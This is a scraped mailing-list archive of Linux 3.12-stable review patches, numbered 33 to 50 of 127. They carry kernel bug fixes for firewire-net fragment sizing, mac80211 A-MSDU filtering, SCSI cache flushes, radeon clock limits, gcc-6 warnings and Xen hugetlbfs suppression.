@@ -615,7 +618,12 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len,return fwnet_finish_incoming_packet (net, skb, source_node_id, is_broadcast, ether_type); } +/* A datagram fragment has been received, now the fun begins. */ + +if (len <=RFC2374_FRAG_HDR_SIZE ) +return 0 ; + hdr.w1 =ntohl (buf[1 ]); buf +=2 ; len -=RFC2374_FRAG_HDR_SIZE ;
@@ -629,6 +637,9 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, datagram_label =fwnet_get_hdr_dgl (&hdr); dg_size =fwnet_get_hdr_dg_size (&hdr);/* ??? + 1 */ +if (fg_off + len > dg_size) +return 0 ; +spin_lock_irqsave (&dev->lock, flags); peer =fwnet_peer_find_by_node_id (dev, source_node_id, generation);
@@ -735,6 +746,22 @@ static void fwnet_receive_packet(struct fw_card *card, struct fw_request *r,fw_send_response (card, r, rcode); } +static int gasp_source_id (__be32 *p) +{ +return be32_to_cpu (p[0 ]) >>16 ; +} + +static u32 gasp_specifier_id (__be32 *p) +{ +return (be32_to_cpu (p[0 ]) &0xffff ) <<8 | + (be32_to_cpu (p[1 ]) &0xff000000 ) >>24 ; +} + +static u32 gasp_version (__be32 *p) +{ +return be32_to_cpu (p[1 ]) &0xffffff ; +} +static void fwnet_receive_broadcast (struct fw_iso_context *context,u32 cycle,size_t header_length,void *header,void *data) {
@@ -744,9 +771,6 @@ static void fwnet_receive_broadcast(struct fw_iso_context *context,__be32 *buf_ptr;int retval;u32 length; -u16 source_node_id; -u32 specifier_id; -u32 ver;unsigned long offset;unsigned long flags;
@@ -763,22 +787,17 @@ static void fwnet_receive_broadcast(struct fw_iso_context *context,spin_unlock_irqrestore (&dev->lock, flags); - specifier_id = (be32_to_cpu (buf_ptr[0 ]) &0xffff ) <<8 - | (be32_to_cpu (buf_ptr[1 ]) &0xff000000 ) >>24 ; - ver =be32_to_cpu (buf_ptr[1 ]) &0xffffff ; - source_node_id =be32_to_cpu (buf_ptr[0 ]) >>16 ; - -if (specifier_id ==IANA_SPECIFIER_ID && - (ver == RFC2734_SW_VERSION +if (length >IEEE1394_GASP_HDR_SIZE && +gasp_specifier_id (buf_ptr) ==IANA_SPECIFIER_ID && + (gasp_version(buf_ptr) == RFC2734_SW_VERSION #if IS_ENABLED(CONFIG_IPV6) - || ver ==RFC3146_SW_VERSION + ||gasp_version (buf_ptr) ==RFC3146_SW_VERSION #endif - )) { - buf_ptr +=2 ; - length -=IEEE1394_GASP_HDR_SIZE ; -fwnet_incoming_packet (dev, buf_ptr, length, source_node_id, + )) +fwnet_incoming_packet (dev, buf_ptr +2 , + length -IEEE1394_GASP_HDR_SIZE , +gasp_source_id (buf_ptr), context->card->generation, true); - } packet.payload_length = dev->rcv_buffer_size; packet.interrupt =1 ;
Signature · 1 line
2.10.2
PATCH 33/127 firewire: net: fix fragmented datagram_size off-by-one
In reply to Jiri SlabyFrom: Stefan Richter <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e9300a4b7bbae83af1f7703938c94cf6dc6d308f upstream.
RFC 2734 defines the datagram_size field in fragment encapsulation headers thus:
datagram_size: The encoded size of the entire IP datagram. The value of datagram_size [...] SHALL be one less than the value of Total Length in the datagram's IP header (see STD 5, RFC 791).
Accordingly, the eth1394 driver of Linux 2.6.36 and older set and got this field with a -/+1 offset:
ether1394_tx() /* transmit */
ether1394_encapsulate_prep()
hdr->ff.dg_size = dg_size - 1;
ether1394_data_handler() /* receive */
if (hdr->common.lf == ETH1394_HDR_LF_FF)
dg_size = hdr->ff.dg_size + 1;
else
dg_size = hdr->sf.dg_size + 1;Likewise, I observe OS X 10.4 and Windows XP Pro SP3 to transmit 1500 byte sized datagrams in fragments with datagram_size=1499 if link fragmentation is required.
Only firewire-net sets and gets datagram_size without this offset. The result is lacking interoperability of firewire-net with OS X, Windows XP, and presumably Linux' eth1394. (I did not test with the latter.) For example, FTP data transfers to a Linux firewire-net box with max_rec smaller than the 1500 bytes MTU
- from OS X fail entirely,
- from Win XP start out with a bunch of fragmented datagrams which time out, then continue with unfragmented datagrams because Win XP temporarily reduces the MTU to 576 bytes.
So let's fix firewire-net's datagram_size accessors.
Note that firewire-net thereby loses interoperability with unpatched firewire-net, but only if link fragmentation is employed. (This happens with large broadcast datagrams, and with large datagrams on several FireWire CardBus cards with smaller max_rec than equivalent PCI cards, and it can be worked around by setting a small enough MTU.)
--- drivers/firewire/net.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
drivers/firewire/net.c +4 -4
@@ -73,13 +73,13 @@ struct rfc2734_header {#define fwnet_get_hdr_lf (h) (((h)->w0 & 0xc0000000) >> 30)#define fwnet_get_hdr_ether_type (h) (((h)->w0 & 0x0000ffff)) -#define fwnet_get_hdr_dg_size (h) (((h)->w0 & 0x0fff0000) >> 16) +#define fwnet_get_hdr_dg_size (h) ((((h)->w0 & 0x0fff0000) >> 16) + 1)#define fwnet_get_hdr_fg_off (h) (((h)->w0 & 0x00000fff))#define fwnet_get_hdr_dgl (h) (((h)->w1 & 0xffff0000) >> 16) -#define fwnet_set_hdr_lf (lf) ((lf) << 30) +#define fwnet_set_hdr_lf (lf) ((lf) << 30)#define fwnet_set_hdr_ether_type (et) (et) -#define fwnet_set_hdr_dg_size (dgs) ((dgs) << 16) +#define fwnet_set_hdr_dg_size (dgs) (((dgs) - 1) << 16)#define fwnet_set_hdr_fg_off (fgo) (fgo)#define fwnet_set_hdr_dgl (dgl) ((dgl) << 16)
@@ -635,7 +635,7 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, fg_off =fwnet_get_hdr_fg_off (&hdr); } datagram_label =fwnet_get_hdr_dgl (&hdr); - dg_size =fwnet_get_hdr_dg_size (&hdr);/* ??? + 1 */ + dg_size =fwnet_get_hdr_dg_size (&hdr);if (fg_off + len > dg_size)return 0 ;
Signature · 1 line
2.10.2
PATCH 34/127 mac80211: discard multicast and 4-addr A-MSDUs
In reply to Jiri SlabyFrom: Johannes Berg <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ea720935cf6686f72def9d322298bf7e9bd53377 upstream.
In mac80211, multicast A-MSDUs are accepted in many cases that they shouldn't be accepted in:
* drop A-MSDUs with a multicast A1 (RA), as required by the spec in 9.11 (802.11-2012 version)
* drop A-MSDUs with a 4-addr header, since the fourth address can't actually be useful for them; unless 4-address frame format is actually requested, even though the fourth address is still not useful in this case, but ignored
Accepting the first case, in particular, is very problematic since it allows anyone else with possession of a GTK to send unicast frames encapsulated in a multicast A-MSDU, even when the AP has client isolation enabled.
--- net/mac80211/rx.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-)
net/mac80211/rx.c +15 -9
@@ -2007,16 +2007,22 @@ ieee80211_rx_h_amsdu(struct ieee80211_rx_data *rx)if (!(status->rx_flags &IEEE80211_RX_AMSDU ))return RX_CONTINUE ; -if (ieee80211_has_a4 (hdr->frame_control) && - rx->sdata->vif.type ==NL80211_IFTYPE_AP_VLAN && - !rx->sdata->u.vlan.sta) -return RX_DROP_UNUSABLE ; +if (unlikely (ieee80211_has_a4 (hdr->frame_control))) { +switch (rx->sdata->vif.type) { +case NL80211_IFTYPE_AP_VLAN : +if (!rx->sdata->u.vlan.sta) +return RX_DROP_UNUSABLE ; +break ; +case NL80211_IFTYPE_STATION : +if (!rx->sdata->u.mgd.use_4addr) +return RX_DROP_UNUSABLE ; +break ; +default : +return RX_DROP_UNUSABLE ; + } + } -if (is_multicast_ether_addr (hdr->addr1) && - ((rx->sdata->vif.type ==NL80211_IFTYPE_AP_VLAN && - rx->sdata->u.vlan.sta) || - (rx->sdata->vif.type ==NL80211_IFTYPE_STATION && - rx->sdata->u.mgd.use_4addr))) +if (is_multicast_ether_addr (hdr->addr1))return RX_DROP_UNUSABLE ; skb->dev = dev;
Signature · 1 line
2.10.2
PATCH 35/127 scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices
In reply to Jiri SlabyFrom: Kashyap Desai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1e793f6fc0db920400574211c48f9157a37e3945 upstream.
Commit 02b01e010afe ("megaraid_sas: return sync cache call with success") modified the driver to successfully complete SYNCHRONIZE_CACHE commands without passing them to the controller. Disk drive caches are only explicitly managed by controller firmware when operating in RAID mode. So this commit effectively disabled writeback cache flushing for any drives used in JBOD mode, leading to data integrity failures.
[mkp: clarified patch description]
--- drivers/scsi/megaraid/megaraid_sas_base.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-)
drivers/scsi/megaraid/megaraid_sas_base.c +5 -8
@@ -1537,16 +1537,13 @@ megasas_queue_command_lck(struct scsi_cmnd *scmd, void (*done) (struct scsi_cmnd goto out_done; } -switch (scmd->cmnd[0 ]) { -case SYNCHRONIZE_CACHE : -/* -* FW takes care of flush cache on its own -* No need to send it down -*/ +/* +* FW takes care of flush cache on its own for Virtual Disk. +* No need to send it down for VD. For JBOD send SYNCHRONIZE_CACHE to FW. +*/ +if ((scmd->cmnd[0 ] ==SYNCHRONIZE_CACHE ) &&MEGASAS_IS_LOGICAL (scmd)) { scmd->result =DID_OK <<16 ; goto out_done; -default : -break ; }if (instance->instancet->build_and_issue_cmd (instance, scmd)) {
Signature · 1 line
2.10.2
PATCH 36/127 scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded
In reply to Jiri SlabyFrom: "Ewan D. Milne" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 4d2b496f19f3c2cfaca1e8fa0710688b5ff3811d upstream.
map_storep was not being vfree()'d in the module_exit call.
--- drivers/scsi/scsi_debug.c | 1 + 1 file changed, 1 insertion(+)
drivers/scsi/scsi_debug.c +1 -0
@@ -3502,6 +3502,7 @@ static void __exit scsi_debug_exit(void)bus_unregister (&pseudo_lld_bus);root_device_unregister (pseudo_primary); +vfree (map_storep);if (dif_storep)vfree (dif_storep);
Signature · 1 line
2.10.2
PATCH 37/127 scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware
In reply to Jiri SlabyFrom: Ching Huang <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2bf7dc8443e113844d078fd6541b7f4aa544f92f upstream.
The arcmsr driver failed to pass SYNCHRONIZE CACHE to controller firmware. Depending on how drive caches are handled internally by controller firmware this could potentially lead to data integrity problems.
Ensure that cache flushes are passed to the controller.
[mkp: applied by hand and removed unused vars]
--- drivers/scsi/arcmsr/arcmsr_hba.c | 9 --------- 1 file changed, 9 deletions(-)
drivers/scsi/arcmsr/arcmsr_hba.c +0 -9
@@ -2069,18 +2069,9 @@ static int arcmsr_queue_command_lck(struct scsi_cmnd *cmd,struct AdapterControlBlock *acb = (struct AdapterControlBlock *) host->hostdata;struct CommandControlBlock *ccb;int target = cmd->device->id; -int lun = cmd->device->lun; -uint8_t scsicmd = cmd->cmnd[0 ]; cmd->scsi_done = done; cmd->host_scribble =NULL ; cmd->result =0 ; -if ((scsicmd ==SYNCHRONIZE_CACHE ) ||(scsicmd ==SEND_DIAGNOSTIC )){ -if (acb->devstate[target][lun] ==ARECA_RAID_GONE ) { - cmd->result = (DID_NO_CONNECT <<16 ); - } - cmd->scsi_done (cmd); -return 0 ; - }if (target ==16 ) {/* virtual device for iop message transfer */ arcmsr_handle_virtual_command (acb, cmd);
Signature · 1 line
2.10.2
PATCH 38/127 drm/radeon/si_dpm: Limit clocks on HD86xx part
In reply to Jiri SlabyFrom: Tom St Denis <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit fb9a5b0c1c9893db2e0d18544fd49e19d784a87d upstream.
Limit clocks on a specific HD86xx part to avoid crashes (while awaiting an appropriate PP fix).
--- drivers/gpu/drm/radeon/si_dpm.c | 6 ++++++ 1 file changed, 6 insertions(+)
drivers/gpu/drm/radeon/si_dpm.c +6 -0
@@ -3018,6 +3018,12 @@ static void si_apply_state_adjust_rules(struct radeon_device *rdev, max_sclk =75000 ; max_mclk =80000 ; } +/* limit clocks on HD8600 series */ +if (rdev->pdev->device ==0x6660 && + rdev->pdev->revision ==0x83 ) { + max_sclk =75000 ; + max_mclk =80000 ; + }/* XXX validate the min clocks required for display */
Signature · 1 line
2.10.2
PATCH 39/127 drm/radeon/si_dpm: workaround for SI kickers
In reply to Jiri SlabyFrom: Alex Deucher <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7dc86ef5ac91642dfc3eb93ee0f0458e702a343e upstream.
Consolidate existing quirks. Fixes stability issues on some kickers.
--- drivers/gpu/drm/radeon/si_dpm.c | 59 ++++++++++++++++++++++++++++++----------- 1 file changed, 43 insertions(+), 16 deletions(-)
drivers/gpu/drm/radeon/si_dpm.c +43 -16
@@ -2934,6 +2934,49 @@ static void si_apply_state_adjust_rules(struct radeon_device *rdev,int i;struct si_dpm_quirk *p = si_dpm_quirk_list; +/* limit all SI kickers */ +if (rdev->family ==CHIP_PITCAIRN ) { +if ((rdev->pdev->revision ==0x81 ) || + (rdev->pdev->device ==0x6810 ) || + (rdev->pdev->device ==0x6811 ) || + (rdev->pdev->device ==0x6816 ) || + (rdev->pdev->device ==0x6817 ) || + (rdev->pdev->device ==0x6806 )) + max_mclk =120000 ; + }else if (rdev->family ==CHIP_VERDE ) { +if ((rdev->pdev->revision ==0x81 ) || + (rdev->pdev->revision ==0x83 ) || + (rdev->pdev->revision ==0x87 ) || + (rdev->pdev->device ==0x6820 ) || + (rdev->pdev->device ==0x6821 ) || + (rdev->pdev->device ==0x6822 ) || + (rdev->pdev->device ==0x6823 ) || + (rdev->pdev->device ==0x682A ) || + (rdev->pdev->device ==0x682B )) { + max_sclk =75000 ; + max_mclk =80000 ; + } + }else if (rdev->family ==CHIP_OLAND ) { +if ((rdev->pdev->revision ==0xC7 ) || + (rdev->pdev->revision ==0x80 ) || + (rdev->pdev->revision ==0x81 ) || + (rdev->pdev->revision ==0x83 ) || + (rdev->pdev->device ==0x6604 ) || + (rdev->pdev->device ==0x6605 )) { + max_sclk =75000 ; + max_mclk =80000 ; + } + }else if (rdev->family ==CHIP_HAINAN ) { +if ((rdev->pdev->revision ==0x81 ) || + (rdev->pdev->revision ==0x83 ) || + (rdev->pdev->revision ==0xC3 ) || + (rdev->pdev->device ==0x6664 ) || + (rdev->pdev->device ==0x6665 ) || + (rdev->pdev->device ==0x6667 )) { + max_sclk =75000 ; + max_mclk =80000 ; + } + }/* Apply dpm quirks */ while (p && p->chip_device !=0 ) { if (rdev->pdev->vendor == p->chip_vendor &&
@@ -3008,22 +3051,6 @@ static void si_apply_state_adjust_rules(struct radeon_device *rdev, ps->performance_levels[i].sclk = max_sclk; } } -/* limit mclk on all R7 370 parts for stability */ -if (rdev->pdev->device ==0x6811 && - rdev->pdev->revision ==0x81 ) - max_mclk =120000 ; -/* limit sclk/mclk on Jet parts for stability */ -if (rdev->pdev->device ==0x6665 && - rdev->pdev->revision ==0xc3 ) { - max_sclk =75000 ; - max_mclk =80000 ; - } -/* limit clocks on HD8600 series */ -if (rdev->pdev->device ==0x6660 && - rdev->pdev->revision ==0x83 ) { - max_sclk =75000 ; - max_mclk =80000 ; - }/* XXX validate the min clocks required for display */
Signature · 1 line
2.10.2
PATCH 40/127 drm/radeon: drop register readback in cayman_cp_int_cntl_setup
In reply to Jiri SlabyFrom: Lucas Stach <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 537b4b462caa8bfb9726d9695b8e56e2d5e6b41e upstream.
The read is taking a considerable amount of time (about 50us on this machine). The register does not ever hold anything other than the ring ID that is updated in this exact function, so there is no need for the read modify write cycle.
This chops off a big chunk of the time spent in hardirq disabled context, as this function is called multiple times in the interrupt handler. With this change applied radeon won't show up in the list of the worst IRQ latency offenders anymore, where it was a regular before.
--- drivers/gpu/drm/radeon/ni.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-)
drivers/gpu/drm/radeon/ni.c +1 -3
@@ -1322,9 +1322,7 @@ static void cayman_pcie_gart_fini(struct radeon_device *rdev)void cayman_cp_int_cntl_setup (struct radeon_device *rdev,int ring,u32 cp_int_cntl) { -u32 srbm_gfx_cntl =RREG32 (SRBM_GFX_CNTL ) & ~3 ; - -WREG32 (SRBM_GFX_CNTL , srbm_gfx_cntl | (ring &3 )); +WREG32 (SRBM_GFX_CNTL ,RINGID (ring));WREG32 (CP_INT_CNTL , cp_int_cntl); }
Signature · 1 line
2.10.2
PATCH 41/127 x86/xen: fix upper bound of pmd loop in xen_cleanhighmap()
In reply to Jiri SlabyFrom: Juergen Gross <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1cf38741308c64d08553602b3374fb39224eeb5a upstream.
xen_cleanhighmap() is operating on level2_kernel_pgt only. The upper bound of the loop setting non-kernel-image entries to zero should not exceed the size of level2_kernel_pgt.
--- arch/x86/xen/mmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/x86/xen/mmu.c +1 -1
@@ -1187,7 +1187,7 @@ static void __init xen_cleanhighmap(unsigned long vaddr,/* NOTE: The loop is more greedy than the cleanup_highmap variant. * We include the PMD passed in on _both_ boundaries. */ -for (; vaddr <= vaddr_end && (pmd < (level2_kernel_pgt +PAGE_SIZE )); +for (; vaddr <= vaddr_end && (pmd < (level2_kernel_pgt +PTRS_PER_PMD )); pmd++, vaddr +=PMD_SIZE ) {if (pmd_none (*pmd))continue ;
Signature · 1 line
2.10.2
PATCH 42/127 ARM: 8584/1: floppy: avoid gcc-6 warning
In reply to Jiri SlabyFrom: Arnd Bergmann <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit dd665be0e243873343a28e18f9f345927b658daf upstream.
gcc-6.0 warns about comparisons between two identical expressions, which is what we get in the floppy driver when writing to the FD_DOR register:
drivers/block/floppy.c: In function 'set_dor':drivers/block/floppy.c:810:44: error: self-comparison always evaluates to true [-Werror=tautological-compare]
fd_outb(newdor, FD_DOR);
It would be nice to use a static inline function instead of the macro, to avoid the warning, but we cannot do that because the FD_DOR definition is incomplete at this point.
Adding a cast to (u32) is a harmless way to shut up the warning, just not very nice.
--- arch/arm/include/asm/floppy.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm/include/asm/floppy.h +1 -1
@@ -17,7 +17,7 @@#define fd_outb (val,port) \ do { \ - if ((port) == FD_DOR) \ + if ((port) == (u32)FD_DOR) \ fd_setdor((val)); \ else \ outb((val),(port)); \
Signature · 1 line
2.10.2
PATCH 43/127 drm/exynos: fix error handling in exynos_drm_subdrv_open
In reply to Jiri SlabyFrom: Arnd Bergmann <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 55c4b906aa2aec3fa66310ec03c6842e34a04b2a upstream.
gcc-6 warns about a pointless loop in exynos_drm_subdrv_open:
drivers/gpu/drm/exynos/exynos_drm_core.c: In function 'exynos_drm_subdrv_open':drivers/gpu/drm/exynos/exynos_drm_core.c:104:199: error: self-comparison always evaluates to false [-Werror=tautological-compare]
list_for_each_entry_reverse(subdrv, &subdrv->list, list) {
Here, the list_for_each_entry_reverse immediately terminates because the subdrv pointer is compared to itself as the loop end condition.
If we were to take the current subdrv pointer as the start of the list (as we would do if list_for_each_entry_reverse() was not a macro), we would iterate backwards over the &exynos_drm_subdrv_list anchor, which would be even worse.
Instead, we need to use list_for_each_entry_continue_reverse() to go back over each subdrv that was successfully opened until the first entry.
--- drivers/gpu/drm/exynos/exynos_drm_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpu/drm/exynos/exynos_drm_core.c +1 -1
@@ -204,7 +204,7 @@ int exynos_drm_subdrv_open(struct drm_device *dev, struct drm_file *file)return 0 ; err: -list_for_each_entry_reverse (subdrv, &subdrv->list, list) { +list_for_each_entry_continue_reverse (subdrv, &exynos_drm_subdrv_list, list) {if (subdrv->close) subdrv->close (dev, subdrv->dev, file); }
Signature · 1 line
2.10.2
PATCH 44/127 smc91x: avoid self-comparison warning
In reply to Jiri SlabyFrom: Arnd Bergmann <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e3ebd894f084255fde19116955ba7054858ff5d6 upstream.
The smc91x driver defines a macro that compares its argument to itself, apparently to get a true result while using its argument to avoid a warning about unused local variables.
Unfortunately, this triggers a warning with gcc-6, as the comparison is obviously useless:
drivers/net/ethernet/smsc/smc91x.c: In function 'smc_hardware_send_pkt':drivers/net/ethernet/smsc/smc91x.c:563:14: error: self-comparison always evaluates to true [-Werror=tautological-compare]
if (!smc_special_trylock(&lp->lock, flags)) {
This replaces the macro with another one that behaves similarly, with a cast to (void) to ensure the argument is used, and using a literal 'true' as its value.
--- drivers/net/ethernet/smsc/smc91x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/ethernet/smsc/smc91x.c +1 -1
@@ -533,7 +533,7 @@ static inline void smc_rcv(struct net_device *dev)#define smc_special_lock (lock, flags) spin_lock_irqsave(lock, flags)#define smc_special_unlock (lock, flags) spin_unlock_irqrestore(lock, flags)#else -#define smc_special_trylock (lock, flags) (flags == flags) +#define smc_special_trylock (lock, flags) ((void)flags, true)#define smc_special_lock (lock, flags) do { flags = 0; } while (0)#define smc_special_unlock (lock, flags) do { flags = 0; } while (0)#endif
Signature · 1 line
2.10.2
PATCH 45/127 UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC header
In reply to Jiri SlabyFrom: Boris Brezillon <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ecbfa8eabae9cd73522d1d3d15869703c263d859 upstream.
scan_pool() does not mark the PEB for scrubing when bitflips are detected in the EC header of a free PEB (VID header region left to 0xff).
Make sure we scrub the PEB in this case.
--- drivers/mtd/ubi/fastmap.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/mtd/ubi/fastmap.c +4 -3
@@ -438,10 +438,11 @@ static int scan_pool(struct ubi_device *ubi, struct ubi_attach_info *ai,unsigned long long ec =be64_to_cpu (ech->ec);unmap_peb (ai, pnum);dbg_bld ("Adding PEB to free: %i" , pnum); +if (err ==UBI_IO_FF_BITFLIPS ) -add_aeb (ai, free, pnum, ec,1 ); -else -add_aeb (ai, free, pnum, ec,0 ); + scrub =1 ; + +add_aeb (ai, free, pnum, ec, scrub);continue ; }else if (err ==0 || err ==UBI_IO_BITFLIPS ) {dbg_bld ("Found non empty PEB:%i in pool" , pnum);
Signature · 1 line
2.10.2
PATCH 46/127 pwm: Unexport children before chip removal
In reply to Jiri SlabyFrom: David Hsu <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 0733424c9ba9f42242409d1ece780777272f7ea1 upstream.
Exported pwm channels aren't removed before the pwmchip and are leaked. This results in invalid sysfs files. This fix removes all exported pwm channels before chip removal.
--- drivers/pwm/core.c | 2 ++ drivers/pwm/sysfs.c | 18 ++++++++++++++++++ include/linux/pwm.h | 5 +++++ 3 files changed, 25 insertions(+)
drivers/pwm/core.c +2 -0
@@ -293,6 +293,8 @@ int pwmchip_remove(struct pwm_chip *chip)unsigned int i;int ret =0 ; +pwmchip_sysfs_unexport_children (chip); +mutex_lock (&pwm_lock);for (i =0 ; i < chip->npwm; i++) {
drivers/pwm/sysfs.c +18 -0
@@ -348,6 +348,24 @@ void pwmchip_sysfs_unexport(struct pwm_chip *chip) } } +void pwmchip_sysfs_unexport_children (struct pwm_chip *chip) +{ +struct device *parent; +unsigned int i; + + parent =class_find_device (&pwm_class,NULL , chip, + pwmchip_sysfs_match); +if (!parent) +return ; + +for (i =0 ; i < chip->npwm; i++) { +struct pwm_device *pwm = &chip->pwms[i]; + +if (test_bit (PWMF_EXPORTED , &pwm->flags)) +pwm_unexport_child (parent, pwm); + } +} +static int __init pwm_sysfs_init (void ) {return class_register (&pwm_class);
include/linux/pwm.h +5 -0
@@ -295,6 +295,7 @@ static inline void pwm_add_table(struct pwm_lookup *table, size_t num)#ifdef CONFIG_PWM_SYSFS void pwmchip_sysfs_export (struct pwm_chip *chip);void pwmchip_sysfs_unexport (struct pwm_chip *chip); +void pwmchip_sysfs_unexport_children (struct pwm_chip *chip);#else static inline void pwmchip_sysfs_export (struct pwm_chip *chip) {
@@ -303,6 +304,10 @@ static inline void pwmchip_sysfs_export(struct pwm_chip *chip)static inline void pwmchip_sysfs_unexport (struct pwm_chip *chip) { } + +static inline void pwmchip_sysfs_unexport_children (struct pwm_chip *chip) +{ +}#endif /* CONFIG_PWM_SYSFS */ #endif /* __LINUX_PWM_H */
Signature · 1 line
2.10.2
PATCH 47/127 tty: vt, fix bogus division in csi_J
In reply to Jiri Slaby3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 42acfc6615f47e465731c263bee0c799edb098f2 upstream.
In csi_J(3), the third parameter of scr_memsetw (vc_screenbuf_size) is divided by 2 inappropriatelly. But scr_memsetw expects size, not count, because it divides the size by 2 on its own before doing actual memset-by-words.
So remove the bogus division.
--- drivers/tty/vt/vt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/tty/vt/vt.c +1 -1
@@ -1169,7 +1169,7 @@ static void csi_J(struct vc_data *vc, int vpar)break ;case 3 :/* erase scroll-back buffer (and whole display) */ scr_memsetw (vc->vc_screenbuf, vc->vc_video_erase_char, - vc->vc_screenbuf_size >>1 ); + vc->vc_screenbuf_size);set_origin (vc);if (CON_IS_VISIBLE (vc))update_screen (vc);
Signature · 1 line
2.10.2
PATCH 48/127 HID: usbhid: add ATEN CS962 to list of quirky devices
In reply to Jiri SlabyFrom: Oliver Neukum <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit cf0ea4da4c7df11f7a508b2f37518e0f117f3791 upstream.
Like many similar devices it needs a quirk to work. Issuing the request gets the device into an irrecoverable state.
--- drivers/hid/hid-ids.h | 1 + drivers/hid/usbhid/hid-quirks.c | 1 + 2 files changed, 2 insertions(+)
drivers/hid/hid-ids.h +1 -0
@@ -166,6 +166,7 @@#define USB_DEVICE_ID_ATEN_4PORTKVM 0x2205#define USB_DEVICE_ID_ATEN_4PORTKVMC 0x2208#define USB_DEVICE_ID_ATEN_CS682 0x2213 +#define USB_DEVICE_ID_ATEN_CS692 0x8021#define USB_VENDOR_ID_ATMEL 0x03eb#define USB_DEVICE_ID_ATMEL_MULTITOUCH 0x211c
drivers/hid/usbhid/hid-quirks.c +1 -0
@@ -61,6 +61,7 @@ static const struct hid_blacklist { { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_4PORTKVM, HID_QUIRK_NOGET }, { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_4PORTKVMC, HID_QUIRK_NOGET }, { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_CS682, HID_QUIRK_NOGET }, + { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_CS692, HID_QUIRK_NOGET }, { USB_VENDOR_ID_CH, USB_DEVICE_ID_CH_FIGHTERSTICK, HID_QUIRK_NOGET }, { USB_VENDOR_ID_CH, USB_DEVICE_ID_CH_COMBATSTICK, HID_QUIRK_NOGET }, { USB_VENDOR_ID_CH, USB_DEVICE_ID_CH_FLIGHT_SIM_ECLIPSE_YOKE, HID_QUIRK_NOGET },
Signature · 1 line
2.10.2
PATCH 49/127 mm: hugetlb: allow hugepages_supported to be architecture specific
In reply to Jiri SlabyFrom: Dominik Dingel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2531c8cf56a640cd7d17057df8484e570716a450 upstream.
s390 has a constant hugepage size, by setting HPAGE_SHIFT we also change e.g. the pageblock_order, which should be independent in respect to hugepage support.
With this patch every architecture is free to define how to check for hugepage support.
--- include/linux/hugetlb.h | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-)
include/linux/hugetlb.h +8 -9
@@ -395,15 +395,14 @@ static inline int hugepage_migration_support(struct hstate *h)#endif } -static inline bool hugepages_supported (void ) -{ -/* -* Some platform decide whether they support huge pages at boot -* time. On these, such as powerpc, HPAGE_SHIFT is set to 0 when -* there is no such support -*/ -return HPAGE_SHIFT !=0 ; -} +#ifndef hugepages_supported +/* +* Some platform decide whether they support huge pages at boot +* time. Some of them, such as powerpc, set HPAGE_SHIFT to 0 +* when there is no such support +*/ +#define hugepages_supported () (HPAGE_SHIFT != 0) +#endif #else /* CONFIG_HUGETLB_PAGE */ struct hstate {};
Signature · 1 line
2.10.2
PATCH 50/127 x86/mm/xen: Suppress hugetlbfs in PV guests
In reply to Jiri SlabyFrom: Jan Beulich <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 103f6112f253017d7062cd74d17f4a514ed4485c upstream.
Huge pages are not normally available to PV guests. Not suppressing hugetlbfs use results in an endless loop of page faults when user mode code tries to access a hugetlbfs mapped area (since the hypervisor denies such PTEs to be created, but error indications can't be propagated out of xen_set_pte_at(), just like for various of its siblings), and - once killed in an oops like this:
kernel BUG at .../fs/hugetlbfs/inode.c:428!
invalid opcode: 0000 [#1] SMP
...
